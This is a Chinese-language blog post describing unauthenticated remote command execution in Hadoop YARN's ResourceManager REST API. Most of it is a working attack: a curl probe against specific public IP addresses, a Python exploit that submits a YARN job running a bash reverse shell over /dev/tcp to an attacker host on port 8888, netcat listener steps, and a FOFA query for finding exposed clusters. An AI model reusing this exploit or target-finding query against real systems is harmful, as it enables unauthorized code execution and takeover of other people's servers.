前言:

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令,yarn默认开发8088和8089端口。

 

漏洞利用:

利用exp反弹shell:
访问漏洞页面,这是Hadoop YARN ResourceManager WebUI页面:

Hadoop未授权命令执行

利用curl发送如下格式的post请求包,验证漏洞是否存在:
curl -v -X POST 'http://39.104.106.129:8088/ws/v1/cluster/apps/new-application'

Hadoop未授权命令执行

返回application-id的值application_1605282853026_0006,漏洞可能存在。
利用如下exp进行shell反弹:
#!/usr/bin/env python

import requests

target = 'http://116.203.198.65:81/'
lhost = '39.108.118.128'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/8888 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

Nc监听8888端口,运行脚本后反弹回shell:

Hadoop未授权命令执行

在web界面也可以看到对应的信息:

Hadoop未授权命令执行

END

指纹识别
利用curl发送如下格式的post请求包,如果返回application-id可能存在漏洞:
curl -X POST 'http://39.104.106.129:8088/ws/v1/cluster/apps/new-application'

FOFA语法

title="All Applications"

相关文章:

  • 2021-08-17
  • 2021-11-28
  • 2021-08-10
  • 2021-11-28
  • 2022-12-23
  • 2021-06-17
  • 2021-11-11
  • 2021-11-03
猜你喜欢
  • 2022-12-23
  • 2022-01-01
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-12-30
相关资源
相似解决方案